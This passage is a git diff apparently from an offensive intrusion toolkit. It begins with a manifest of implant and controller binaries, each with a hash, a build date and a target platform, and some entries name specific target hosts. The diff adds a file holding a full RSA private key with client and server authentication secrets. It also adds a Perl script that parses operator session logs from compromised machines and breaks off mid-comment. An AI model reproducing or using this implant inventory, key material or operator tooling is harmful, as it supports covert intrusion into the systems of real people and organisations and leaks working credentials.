stoicsurgeon_ctrl__v__1.6.13.4_x86-linux-ubuntu-5.10 +24D3BDE091FCF93ED62CABF8AF91111EB56C75AD Thu Dec 9 23:39:06 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.12.11_x86-linux-centos-5.5 +60FFB7F20815A51B3C55018D01F80864F3D85782 Mon Nov 29 19:06:01 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.11.1_x86-linux-fedora12 +E6B5EFB1E52FDEBE00DCBCDF3C239083ED95401B Tue Dec 21 19:21:09 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.14.6_x86-freebsd-7.2 +C8001647B965708D2F123EDC7913E69B310D8B94 Thu Feb 24 19:03:07 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.19.2_x86-freebsd-6.3 +FE94B361BB9F89D2BD0DA3B8D9D1E0B19FF4D421 Mon Dec 6 20:54:26 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.12.6_x86-linux-optimusprime-vezarat.dolat.ir +214BF4543C0CDA65366C09A88CCB3487EB79B763 Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.15.1_x86-junos-10.0 +11DDFFD53916BB1B6DFAD0CD40ACE7614417A268 Mon Dec 13 16:57:21 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.13.1_sparc-sun-solaris2.10 +DD4B043DCFB748F08890E9A0C1FBAA11EB9BF748 Tue Dec 7 00:00:31 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.12.3_sparc-sun-solaris2.9 +EAB479C9AD0A62CF64CAA7FC941A61FFAC9F7211 Tue Mar 8 18:21:30 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.20.2_x86-linux-centos-5.5 +9CC82D49CFC0F686C76D0512DC1182652C68B682 Fri Dec 3 00:02:13 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.11.4_x86_64-linux-centos-5.5 +418FB8B5CB000A8ED0F76B4CAA3F51148849125A Sat Mar 26 05:20:50 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.20.5_x86-linux-redhat-enterprise-5.1 +FB697048037E4F0D614FDED19D4274980D0A846C Wed Feb 23 16:43:14 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.19.1_x86_64-linux-centos-5.5 +DBBB42A7134F1FCBBEE6CA835ABDB808F1DEAED3 Thu Dec 30 20:51:17 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.14.8_x86-linux-debian-3.1-darkscrew +7476F63056D3D79F3EFD95D3A7462B0E7D6B40C8 Thu Feb 3 17:52:47 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.18.1_x86_64-freebsd-potbed-cache55 +8F94A78942BE87ECE3605298D57EDBBE15363570 Wed Dec 29 23:10:57 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.14.2_x86-linux-centos-5.5 +2DDBE6C7A89761DA3973CA1A3744CC1226BE0DA8 Mon Dec 6 20:25:09 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.12.5_x86-linux-redstar-1.1 +5027CF7CCB421847FDBD0CFB80C00361C1309F72 Mon Dec 6 21:40:05 2010 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.12.7_x86-linux-centos-5.5 +D1C9617AF438D43FF7C66E6AA0A3E31296E6C238 Thu Jan 20 19:17:44 2011 [PITCHIMPAIR.07 APR 2011] stoicsurgeon_ctrl__v__1.6.16.4_x86-linux-debian-5.0 +BE8609392C9495F0125EAF7A11F74CE749D42878 Thu Mar 10 19:57:44 2011 [PITCHIMPAIR.07 APR 2011] charm_penguin.sunos5.8_v.2.0.0.1 +99697FFAC560B4D75EF664FA0B39E147282E2447 Thu Jan 20 19:49:56 2011 [PITCHIMPAIR.07 APR 2011] curserazor.win2k_v.2.0.0.5 +1CB1BAE44A52F1CD66F7D7DE06BC3D0F0D8020F3 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.07 APR 2011] cursegismo.linuxrh7.3_v.2.1.0.1 +CD9EA5A7CA3E29605F8F9F0E5254CAAF7835AD89 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.07 APR 2011] cursegismo.hpux11.00_v.2.1.0.1 +5F94207794A3B1EA602EC9B7E8FAC7AAD42BAA1E Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.07 APR 2011] cursegismo.sunos5.8_v.2.1.0.1 +6303B727D96E18A7DB1079A24E7C9314010D0D37 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.07 APR 2011] cursegismo.sunos5.8.i386_v.2.1.0.1 +5A25D9A8F7A0102EF6497E099B455ECCC1D47E70 Thu Jan 20 19:49:56 2011 [PITCHIMPAIR.07 APR 2011] curserazor.sunos5.8_v.2.0.0.5 +35C7AEEDE891BBBB6BC99BEE1D91DD702920792F Fri Feb 11 21:31:01 2011 [PITCHIMPAIR.07 APR 2011] dewdrop__v__3.2.1.1_x86-junos +4EAC3A4081D419BA0291C04419813FA91C25C220 Tue Feb 15 21:18:33 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.1.16_x86_64-linux-redhat-enterprise-5.5 +8C807421F4C0483209AA6C9A845BFD37799EBEDC Wed Jan 26 18:16:50 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.1.12_x86-linux-redstar-1.1 +15BC090D9D5094EA9360796CDE1742C5381559E1 Sat Mar 26 05:23:23 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.3.3_x86-linux-redhat-enterprise-5.1 +1D10FC0229E545388167988CCE1BCA2ED3ADF182 Thu Dec 9 21:52:32 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.2.0.7_x86-linux-centos-5.5 +6314E4DB498A7B057BE8434A52F3C25F0568940F Fri Jan 21 21:49:59 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.1.7_x86_64-linux-centos-4.8 +89297FFB73B0301FBB74CD51CE28688013588953 Mon Mar 21 18:39:50 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.3.1_x86_64-linux-centos-5.5 +A11CF7F2088EB1A726C1E522C20C52FA862B190E Thu Jan 27 19:22:02 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.1.14_x86-linux-redhat-9.0-optimusprime +7C95BB4192478629B95229686373A38CC5C1C410 Tue Mar 29 15:11:30 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.3.4_x86-linux-slackware-10.0 +8DBF6A427635758ADF20394EBAEE93B23127D4AB Tue Nov 30 22:10:11 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.1.9.1_x86-linux-fedora12 +A689906A8CB7E53EFD425BEECC9762E2087B7533 Mon Dec 6 21:34:03 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.2.0.6_x86-linux-optimusprime-vezarat.dolat.ir +A77DF793DF92B8A0C3A92F7502F16294C55CD0EA Tue Dec 7 01:23:39 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.2.0.3_sparc-sun-solaris2.9 +21A4907E65551C03D1D8C7342E1E284E2221101E Mon Dec 6 20:37:03 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.2.0.5_x86-linux-redstar-1.1 +0BE7673D823D262AC27D5134E88C6AA42CADDF08 Fri Nov 5 05:17:24 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.1.8.7_x86-linux-slackware-12.2 +41F87F31CE07833D7D357A537165A5EBB60A4BA3 Tue Mar 8 20:23:46 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.2.4_x86-linux-centos-5.5 +5895C7C4A7D5778E18CEA946B3E48F77E38EB93B Fri Jan 21 20:23:05 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.1.5_x86_64-linux-centos-5.5 +2810289CB27D5E8D558AFC94390FB54EAFAACD6D Fri Jan 21 22:07:18 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.1.11_x86-linux-slackware-10.2-vinifera +CB233CEFF9EC84A94A6AA082A291FE35D82AE56C Sat Jan 22 00:52:41 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.1.10_x86-linux-ubuntu-8.04 +889C6EA09ACBA1D0043310FAB1F7159E44D7B696 Thu Jan 6 00:26:25 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.2.1.1_x86-linux-redhat-7.1-tilttop +889B0EB452EF74F2439DEDB61F99241223E7F316 Wed Nov 10 05:13:01 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.1.8.8_x86-linux-acridmini-sg +C956463BA9AE5DC902C2B5B5D95EF6D1C0B13C7E Mon Nov 29 21:21:03 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.1.8.14_x86-linux-redhat-enterprise-5.5 +3BE144A4C664E72AF86F4928FB78252776EA6E66 Fri Jan 7 23:39:28 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.0.2_x86-linux-ubuntu-8.04 +5DAE984BDE0E83BAEDDE55421A9BA9AE62E9FA46 Fri Jan 21 20:56:54 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.1.6_x86-linux-debian-5.0 +360C62002672921CC2DDBA6B50324013A4FBD853 Thu Dec 9 23:46:46 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.2.0.9_x86-linux-centos-5.5 +455237D47C1C28523EC4C331DE52E3368012F9A6 Mon Dec 6 23:50:05 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.2.0.4_sparc-sun-solaris2.10 +75167DEC0DCE08FEA8BA0F039047347001B3FE80 Fri Dec 3 00:09:18 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.1.8.15_x86_64-linux-centos-5.5 +6D294256FF39AE3418F970E18723B4D0FEFF4839 Wed Dec 15 15:37:44 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.2.0.11_x86-linux-ubuntu-5.10 +7D4D0B4010C0A12063D76BDEB8F2BC771B6CCBA0 Wed Nov 17 18:03:09 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.1.8.11_x86-linux-acridmini-sg +33E1A7E241FBD8019EAFEA5C8C48AECEC28102CC Wed Feb 23 19:21:26 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.1.17_x86_64-linux-centos-5.5 +FEBCC4A217ACA882C23FCC862A9319E21A1E483F Fri Mar 4 13:52:57 2011 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.3.2.1_x86-freebsd-6.3 +B66119A9CF5B1238C1BAE334F1BEFB6186004B5D Thu Dec 30 20:56:11 2010 [PITCHIMPAIR.07 APR 2011] suctionchar_agent__v__3.2.0.15_x86-linux-debian-3.1-darkscrew +6C11F82744D61015B6E85CEC9112B51A6FA74F02 Thu Dec 9 18:06:46 2010 [PITCHIMPAIR.07 APR 2011] seconddate_ImplantStandalone_2.0.0.2_x86_64-linux +B9CBF09CEF19A0673363FFC5F2D1B78998F78DB9 Thu Dec 9 16:52:33 2010 [PITCHIMPAIR.07 APR 2011] seconddate_ImplantStandalone_2.0.0.1_i386-linux +B2D8CAC8C0ED47B085AD6DFE987A45312C020F68 Wed Dec 22 22:30:14 2010 [PITCHIMPAIR.07 APR 2011] seconddate_ImplantStandalone_2.0.0.6_i386-solaris +7D7D1B7E1BEC45E2751A368DBC0DB64FD7EE770F Fri Dec 10 15:06:20 2010 [PITCHIMPAIR.07 APR 2011] seconddate_ImplantStandalone_2.0.0.3_i386-freebsd +EB8E0A9CE3DCBA36031E60FF1F9F413510E9B7BD Fri Dec 10 20:51:02 2010 [PITCHIMPAIR.07 APR 2011] seconddate_ImplantStandalone_2.0.0.4_x86_64-freebsd +410C4F9C5672269B99F4324033A418DDF799AA83 Tue Dec 14 20:28:05 2010 [PITCHIMPAIR.07 APR 2011] seconddate_ImplantStandalone_2.0.0.5_sparc-solaris +0D600A360214CFA4D4BEBBD55EE89688A198D21B Thu Feb 17 18:46:50 2011 [PITCHIMPAIR.07 APR 2011] seconddate_ImplantStandalone_1.7.1.1_i386-junos-8.4-belowtrunklien +920014F6E66A3231B5F09E6F286B898BEBDC4BC2 Mon Nov 22 20:06:41 2010 [PITCHIMPAIR.07 APR 2011] seconddate_ImplantStandalone_1.7.1.0_i386-junos-8.5-abovetrunklien diff --git a/Linux/etc/default_key.txt b/Linux/etc/default_key.txt new file mode 100644 index 0000000..33d7b54 --- /dev/null +++ b/Linux/etc/default_key.txt @@ -0,0 +1,94 @@ +Private-Key: (2048 bit) +modulus: + 00:9c:de:4a:7b:cb:7c:48:9c:87:01:d2:77:46:fa: + 5c:11:d5:9e:41:ce:62:48:16:87:58:db:3f:1a:85: + e1:a6:44:e7:c5:31:76:f9:83:36:78:95:74:24:5b: + 0d:c5:0b:98:c4:dd:91:27:2f:6c:33:16:ba:de:b0: + 50:81:e6:78:c5:32:48:dc:b0:36:af:12:f9:b6:7a: + ce:c5:a8:72:a7:a9:9c:41:d4:92:a1:6c:b4:41:77: + 84:a1:fd:f7:67:c3:2a:70:55:73:46:4c:50:a8:4a: + ad:dd:d1:30:dd:fd:9e:d0:5d:b3:5b:70:f5:d1:e2: + cd:af:83:1b:44:08:eb:00:df:f4:b4:7e:be:96:55: + e3:e7:a8:35:e4:fa:d5:f8:e3:78:1f:5a:63:a6:22: + df:3f:c3:96:cc:4a:b4:68:62:74:09:5a:fe:bf:58: + 9b:89:79:a1:27:79:79:6c:63:79:da:fb:52:1b:12: + 8f:85:5a:52:e4:4c:f0:57:c5:ba:25:c6:e8:7f:6b: + 8e:c2:92:b0:27:89:e5:49:fe:7a:9e:10:c0:4f:72: + 6f:8f:e5:ce:6f:43:6b:ad:c6:a8:4a:8b:f7:0d:7e: + 8e:88:fa:af:af:a4:45:a6:34:39:bd:86:33:a0:93: + 48:a2:d1:f0:e6:af:7d:d4:fb:66:51:49:5c:6f:a7: + fe:29 +publicExponent: 65537 (0x10001) +privateExponent: + 47:9f:8b:3c:98:bd:27:5e:28:9a:61:61:4a:8c:17: + 2b:a1:70:7f:b5:5e:d4:71:4c:dc:fa:46:06:b3:28: + 43:45:64:d9:79:6b:4c:23:67:e4:88:c0:9d:b4:e1: + 45:9d:b4:e3:f6:12:47:64:f4:af:22:ea:b1:b0:a9: + 21:96:7c:7f:f5:24:a5:76:e3:90:ee:46:0b:d6:68: + c0:80:d7:d0:cb:b5:67:ad:4a:41:e0:23:31:5d:03: + b6:ff:01:4e:64:22:e5:65:6e:9b:a3:4e:94:78:7c: + 88:31:f2:70:f9:52:e0:ea:57:71:21:d3:6b:40:76: + 0f:73:fa:28:07:36:5d:90:2c:e5:68:7f:5e:97:ee: + 8d:8d:fa:7f:42:f9:61:f0:38:35:fa:a8:ba:d3:17: + ec:e3:d4:da:80:b4:74:ff:19:67:a6:0a:1b:36:21: + 28:ef:8a:b3:7b:05:c9:90:3b:16:f9:54:09:c1:b2: + 15:58:3b:3b:d4:37:91:35:17:81:97:93:12:66:a5: + bf:1d:19:ef:6f:0c:2b:2f:bf:8e:65:c4:7f:58:4f: + 26:79:67:c2:2a:c8:5b:19:f5:92:24:76:ea:34:18: + 38:e8:0f:92:fe:2b:90:32:b4:2d:02:2d:d4:11:02: + b5:9e:cf:c7:73:ad:d8:ed:44:cd:fd:93:dd:43:2d: + 01 +prime1: + 00:ca:b4:f7:a5:7a:bf:ec:d5:fe:76:64:7e:c9:75: + 52:71:45:1b:3b:5b:c8:37:20:ef:aa:da:ca:31:21: + 1f:5b:b7:d1:61:bb:a5:31:4f:b4:df:17:d3:e8:d0: + 3e:6c:cd:28:62:ba:db:f5:ea:75:85:ed:0a:96:0b: + e2:88:19:af:9c:fb:2b:ea:2b:3a:a6:08:b0:27:73: + 9e:d7:4a:08:0d:e4:18:20:a1:11:62:bb:5b:0b:27: + b8:bf:d7:e1:72:f0:88:cd:60:ec:72:4c:de:e7:c7: + 4c:97:79:7f:bd:ea:04:90:76:71:4d:52:a9:de:89: + 12:2b:e1:b8:d3:79:70:10:49 +prime2: + 00:c6:1c:31:71:c3:f5:bd:87:ce:9e:f4:9c:2d:53: + 00:63:c5:14:ff:d8:6e:f1:86:64:46:fc:65:8b:ff: + af:0a:cf:d5:e4:f8:8a:ef:ca:52:44:04:0c:51:f8: + bd:0e:4a:f2:ac:d2:d0:4e:46:7e:3c:1f:ce:b2:ea: + c5:4e:46:1a:8e:b3:96:62:3f:37:96:c1:a1:da:6d: + 5b:ab:a8:ec:e4:a5:81:36:ac:06:79:c9:d6:bf:a8: + d4:32:61:c2:b1:5d:6a:5c:08:6c:9e:1e:bb:a0:41: + b2:f4:aa:09:16:72:a5:9f:b5:57:df:fc:20:9c:94: + 4e:10:30:03:3a:7e:78:3e:e1 +exponent1: + 30:78:7b:6b:27:61:f3:48:ec:52:f5:0e:d8:2f:64: + aa:4f:23:06:db:98:91:8e:1f:a1:14:36:1a:ef:57: + a7:3f:da:22:6b:93:41:aa:54:8e:b0:0c:ec:f3:b6: + a9:9f:99:13:9a:a8:f4:31:bf:2e:6a:13:08:f4:08: + 94:10:c8:4c:5a:47:12:f4:89:4e:a0:6f:36:cf:cf: + e0:9d:04:36:06:1f:ba:d5:a8:e9:99:f1:58:46:84: + 47:e3:60:36:72:cb:d3:88:64:a1:a4:3d:fc:e0:4c: + 31:40:4d:4a:65:45:f8:21:4a:50:79:fe:c2:86:b6: + 40:a5:f5:e3:23:7b:a7:79 +exponent2: + 78:cf:ec:9f:32:1f:84:2b:73:a7:a0:08:35:e3:ae: + 13:29:b6:ba:a7:24:51:09:e1:d1:20:4e:54:e7:e1: + b9:38:31:7a:66:cf:63:98:00:3f:16:30:e5:34:49: + 26:94:32:15:8e:a2:15:7a:0b:b5:62:b8:4c:87:bb: + 37:16:ad:4f:64:d9:4a:a4:be:a3:a3:05:af:0c:8d: + a0:cb:6d:5b:aa:4a:78:2a:c3:f0:35:54:4e:a1:08: + 76:89:03:8f:e2:25:e0:66:0a:c7:0a:7a:e5:29:eb: + 96:24:b3:52:0b:2c:51:8e:e7:3d:e2:a5:88:97:30: + 5b:d2:cb:c5:3a:26:de:41 +coefficient: + 00:be:c8:57:62:ed:65:c8:11:a3:34:ed:2a:e0:45: + 80:9f:81:d2:02:c8:23:07:f6:30:95:ec:59:a8:82: + 55:2f:db:da:95:9a:bf:fb:0b:6e:93:17:c5:c9:ef: + f6:06:a8:91:34:dd:48:f9:8e:84:6f:53:91:16:f0: + e5:de:b1:40:71:77:c9:3c:71:3d:99:07:96:6b:06: + 11:a4:76:23:a1:2f:1f:42:34:2f:5b:52:2c:f7:40: + 86:f5:53:78:0a:4a:fa:8f:79:00:b6:27:6a:90:66: + d0:35:c6:c0:d2:7d:e8:32:ab:8b:52:58:1a:32:0b: + d4:93:c9:6f:1f:f6:89:ec:4f +clientAuth: + 8cf349bba8cf971b48e28d1a4f396f31 +serverAuth: + 394bbe9f3b75cb51a6d145d49ff76421 diff --git a/Linux/etc/gethostinfo.pl b/Linux/etc/gethostinfo.pl new file mode 100755 index 0000000..5b59a73 --- /dev/null +++ b/Linux/etc/gethostinfo.pl @@ -0,0 +1,1568 @@ +#!/usr/bin/env perl +# +# This parses $nopen_mylog in a while loop called OUTSIDE. +# Each if {} block in this loop is independent of others and can be placed +# in any order. Order of output is dependent upon /current/etc/autodone. +# +$VER="1.10.0.6" ; +#use Encode; +#use encoding "ascii"; +use File::Basename ; +my $gotutils=0; +my $path = dirname($0); + + +$dbgcount=0; +foreach ("", +# "/tmp/etc/autoutils", + "/current/etc/autoutils", + "$path/autoutils", + ) { + if (-w $_) { + $gotutils++; +# do $_ ; + require $_ ; + last; + } +} +$opdir = "." unless (-d $opdir); +unless ($gotutils) { + $prog = basename $0 ; + $vertext = "$prog version $VER\n" ; + require Time::Local; + require "getopts.pl"; + unless ($opt_C) { + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + } + $opdir = "/current"; + $opup = "$opdir/up" ; + $opbin = "$opdir/bin" ; + $opetc = "$opdir/etc" ; + $opdown = "$opdir/down" ; + $optmp = "$opdir/tmp" ; + + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + ($nopen_hostonly) = $nopen_rhostname =~ /(.*)\.\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ; + ($nopen_myip) = $nopen_rhostname =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/ ; + $nopen_server_os = $ENV{NOPEN_SERVERINFO} ; + ($nopen_ip) = $nopen_rhostname =~ /\.(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/ ; +} +$usagetext = setusagetext(); +usage("bad option(s)") if (! Getopts( "vhl:f:p:asCB" ) ) ; +$beep = "\a"; +$beep = "" if $opt_B; + +if ($opt_C) { + $COLOR_SUCCESS=""; + $COLOR_FAILURE=""; + $COLOR_WARNING=""; + $COLOR_NORMAL=""; + $COLOR_NOTE=""; +} +$opdown = "." unless (-d $opdown); +$path = "$opdown/cmdout" ; +$path = "./" unless (-d $path); +usage() if $opt_h or $opt_v; +%mons=("Jan","01","Feb","02","Mar","03","Apr","04","May","05","Jun","06","Jul","07","Aug","08","Sep","09","Oct","10","Nov","11","Dec","12"); + +mymydie("Cannot use -l and -s together") if ($opt_l and $opt_s) ; +#mymydie("Cannot use ANY options with a list of targets") if (($opt_l or $opt_s) and @ARGV) ; +$statusnotdone = 1; +$gotrpcoutput = 0 ; +$logfile = $opt_l ; +$doall = $opt_a ; +$findit = $opt_s ; +$saveoutputto = $opt_f ; +$autodoneruns=0; +$path = $opt_p if ($opt_p and -d $opt_p); +# Some globals +$globaltarget = "" ; +$latewarnings = "" ; +my $nopenafter = ""; +mymydie("Cannot read path $path\n") unless (-x $path and -r _) ; +@targets = @ARGV ; +mymywarn("Throwing away \"@targets\" parameters because of -a") if (@targets and $doall) ; +@targets = ("-1") unless @targets ; +if ($doall) { + @targets = () ; + # Note: The grep -v here is I think no longer needed? + foreach (split (/\n/, +# `grep -rl "DONE running $opetc/autone" $path/* 2>/dev/null | grep -v autodone`)) { + `grep -rl "DONE running $opetc/autone" $path/* 2>/dev/null`)) { + s/.*\/([^\/]*)-\d{4}-\d{2}-\d{2}-\d{2}:\d{2}:\d{2}.*/$1/ ; + push(@targets,$_) ; + } + mymydie("No autodone output found recursively in $path") unless (@targets); +} +dbg("got nopen_mylog=$nopen_mylog= +findit=$findit= +targets=(@targets)"); +TARGET: while (@targets) { + %donethisoffset = () ; + $target = shift(@targets) ; + unless ($target eq "-1") { + (@logs) = split (/\n/, + `find $path/ -type f 2>/dev/null | grep "$target.*:??" | grep -v "scans.*$target"`) ; + my %logs = () ; + foreach (@logs) { + s/-\d{4}-\d{2}-\d{2}-\d{2}:\d{2}:\d{2}.*// ; + $logs{"$_"}++ unless (/-find$/ or /replay/) ; + } + my (@tmp) = (keys %logs) ; + dbg("got tmp=(\n".join("\n",@logs)."\n)"); + if (! @tmp) { + my $more = ", trying next..." if (@targets) ; + mymywarn("Target not found with 'find $path/ -type f 2>/dev/null | grep \"$target.*:??\"'$more"); + next TARGET ; + } + if (@tmp > 1) { + mymywarn("More than one match. The -t target \"$target\" must be unique"); + foreach (keys %logs) { + mymywarn("$_"); + } + next TARGET ; + } + my (@tmp) = (keys %logs) ; + ($nopen_rhostname) = $tmp[0] =~ /([^\/]*)$/ ; + next unless $nopen_mylog = findit() ; + ($nopen_ip) = $nopen_mylog =~ /\.(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/ ; + } # else proceed with the $nopen vars in env + if ($nopen_rhostname_with_slashes) { + foreach my $movefile + ("$optmp/.crondates.", + "$opdown/linuxstats.cmdout.", + "$opdown/solarisstats.cmdout.", + "$opdown/utc_offset.", + "$optargetcommands/${nopen_rhostname}_date-rfc2822.", + "$opdown/mkoffset.", + ) { + $newfile = "$movefile$nopen_rhostname"; + $movefile .= $nopen_rhostname_with_slashes; + next unless -f $movefile; + preservefile($newfile); + rename($movefile,$newfile); + } + } + if ($findit) { + $nopen_mylog = findit() ; + } + if ($logfile) { + $nopen_mylog = $logfile ; + mymydie("No such file: $logfile") unless (-e $logfile) ; + mymydie("Cannot read file: $logfile") unless (-r _ ) ; + $nopen_rhostname = "" ; + } +dbg("got nopen_mylog=$nopen_mylog="); + mymydie("No NOPEN_MYLOG environment var") unless $nopen_mylog ; + unless ($nopen_rhostname) { + # so we got MYLOG but not RHOSTNAME--so find it + (@lines) = split (/\n/,`head -20 $nopen_mylog | grep "^\\\[.*\\\]\\\[.*\\\]\$"`); + foreach (@lines) { + last if (($nopen_rhostname) = /\[.*\]\[.* -> ([^:]*):/) ; + } + mymydie("Could not find \$nopen_rhostname in $logfile") unless $nopen_rhostname; + # Does this one actually have autodone in it? + chomp($autodoneruns = `grep -c "BEGIN running .*auto.* on $nopen_rhostname" "$nopen_mylog"`); + unless ($autodoneruns) { + @logs = () ; + $nopen_mylog = findit(); + unless ($nopen_mylog) { + mymywarn("Could not find autodone in $logfile. +Also could not find it in these other $nopen_rhostname logs in $path:"); + my $str = "" ; + foreach (@logs) { $str .= "\t$_\n" ; } ; + mymydie("$str"); + } + } + } else { + chomp($autodoneruns = `grep -c "BEGIN running .*auto.* on $nopen_rhostname" "$nopen_mylog"`); + dbg("0 autodoneruns=$autodoneruns= looking for BEGIN in nopen_mylog=$nopen_mylog="); + } + + mymydie("Cannot read log file $nopen_mylog") unless (-r "$nopen_mylog") ; + + # assert: Both MYLOG and RHOSTNAME are defined now + + mymywarn("$prog parsing $nopen_mylog",$COLOR_NOTE) ; + if ($saveoutputto) { + print OUT ("$COLOR_NOTE$prog parsing $nopen_mylog + saving output in $saveoutputto.$nopen_rhostname$COLOR_NORMAL") ; + } + unless (open(IN,"< $nopen_mylog")) { + mymywarn ("Cannot open $nopen_mylog for read"); + next TARGET ; + } + # Skip to the most recent autodonerun if more than one + my $linecount=0; + print ("Multiple runs of autodone found ($autodoneruns)...skipping to last one.\n") + if ($autodoneruns > 1); + dbg("autodoneruns=$autodoneruns= looking for BEGIN"); + while ($autodoneruns >= 1 and !(eof IN)) { + $linecount++; + $_=; + $autodoneruns-- if (/DONE running .*auto.* on $nopen_rhostname/); + $autodoneruns-- if (/AUTONEWDONE IS NOT FINISHED/); + $autodoneruns-- if (/BEGIN running .*auto.* on $nopen_rhostname/); + last if ($autodoneruns <= 1 and /BEGIN running .*auto.* on $nopen_rhostname/); + } + dbg("autodoneruns=$autodoneruns= Found BEGIN at line $linecount of ".`wc -l "$nopen_mylog"`); + if ($saveoutputto) { + if (open(OUT, "> $saveoutputto.$nopen_rhostname")) { + select (OUT) ; + print OUT ("$COLOR_NOTE$prog parsing $nopen_mylog$COLOR_NORMAL\n") ; + mymywarn(" saving output in $saveoutputto.$nopen_rhostname",$COLOR_NOTE) ; + } else { + mymywarn("Unable to save output to $saveoutputto.$nopen_rhostname. +Sending to STDOUT instead.") ; + select (STDOUT) ; + } + } + $found = 1 ; + + # If any SUCTIONCHAR pulled yet for this guy, we log there here too + if (open(IN2,"$opdown/gotsuc.$nopen_rhostname")) { + while () { + print ; + } + close(IN2); + } + + my $lcount=0; + if (open(INEXTRA,"< $opetc/opscript.txt")) { + my $ip,$tmpin ; + while($tmpin = ) { +# next unless /^\#/ ; # only read comments +# next if /\// ;# Skip working dir if seen + ($val) = $tmpin =~ /[\#\s]+(\S+)/ ; + if (ipcheck($val)) { + $ip = $val if (ipcheck($val) and $nopen_rhostname =~ /$val$/) ; +# print "yesip $nopen_rhostname " if ipcheck($val) ; +#print "DBG0: $val $ip $dnsname ++ $tmpin\n"; + } else { + $dnsname = $val ;# unless length($val); + #print "DBG1: $val $ip $dnsname ++ $tmpin\n"; + } + last if ($lcount++ > 15 or ($ip and $dnsname)) ; + } + if ($ip and $dnsname) { + print "IP: $ip\n"; + print "DNS name: $dnsname\n" ; + } + } else { + mymywarn("Unable to open $opetc/opscript.txt for read"); + } + close(INEXTRA); + my $hwarch=""; + my %runalready=(); + my $procmeminfo=0; + my $memprintlater = ""; + my $dfprint = ""; + my $uptimeprint = ""; + my $loadprint = ""; + my $hostnamesave = ""; + my $domainnamesave = ""; + + dbg("HERE: autodoneruns=$autodoneruns="); + + OUTSIDE: while (! (eof IN)) { + logerror($_) if (!$found and $_) ; + $found = 1 ; + getline(undef,"FROM OUTSIDE: ") unless $gotone ; $gotone = 0 ; + # ($line) =~ s/\033\[[0-3];\d\dm//g ;# get rid of color codes if there + next unless ($_) = $line =~ /^\[(.*)\]$/ ; + s/-nohist//; + s/^\s*//; +# last if (m+DONE running $opetc/autonext+) ; + next if / GMT\]\[.*$nopen_rhostname\:[\d]+$/ ; + # the hunt is on! might have some good stuff here + $found = 0 ; # We increment this only if good input found or no matches at all + # Each of the following if blocks looks for the command it wants to parse. + # When it finds one, inside the if is a while loop that parses that command's + # output until it finds what 